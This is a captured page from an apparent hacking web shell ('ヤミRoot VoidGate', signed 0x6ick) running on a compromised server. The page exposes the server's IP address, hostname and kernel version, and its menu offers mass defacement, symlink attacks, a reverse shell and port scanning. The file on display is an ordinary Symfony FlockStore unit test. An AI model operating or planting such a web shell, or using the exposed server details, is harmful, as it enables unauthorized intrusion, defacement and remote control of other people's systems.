ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Lock
/
Tests
/
Store
/
Viewing: FlockStoreTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Lock\Tests\Store; use Symfony\Component\Lock\Key; use Symfony\Component\Lock\Store\FlockStore; /** * @author Jérémy Derussé <jeremy@derusse.com> */ class FlockStoreTest extends AbstractStoreTest { use BlockingStoreTestTrait; /** * {@inheritdoc} */ protected function getStore() { return new FlockStore(); } /** * @expectedException \Symfony\Component\Lock\Exception\InvalidArgumentException * @expectedExceptionMessage The directory "/a/b/c/d/e" is not writable. */ public function testConstructWhenRepositoryDoesNotExist() { if (!getenv('USER') || 'root' === getenv('USER')) { $this->markTestSkipped('This test will fail if run under superuser'); } new FlockStore('/a/b/c/d/e'); } /** * @expectedException \Symfony\Component\Lock\Exception\InvalidArgumentException * @expectedExceptionMessage The directory "/" is not writable. */ public function testConstructWhenRepositoryIsNotWriteable() { if (!getenv('USER') || 'root' === getenv('USER')) { $this->markTestSkipped('This test will fail if run under superuser'); } new FlockStore('/'); } public function testSaveSanitizeName() { $store = $this->getStore(); $key = new Key('<?php echo "% hello word ! %" ?>'); $file = sprintf( '%s/sf.-php-echo-hello-word-.%s.lock', sys_get_temp_dir(), strtr(substr(base64_encode(hash('sha256', $key, true)), 0, 7), '/', '_') ); // ensure the file does not exist before the store @unlink($file); $store->save($key); $this->assertFileExists($file); $store->delete($key); } }
Coded With 💗 by
0x6ick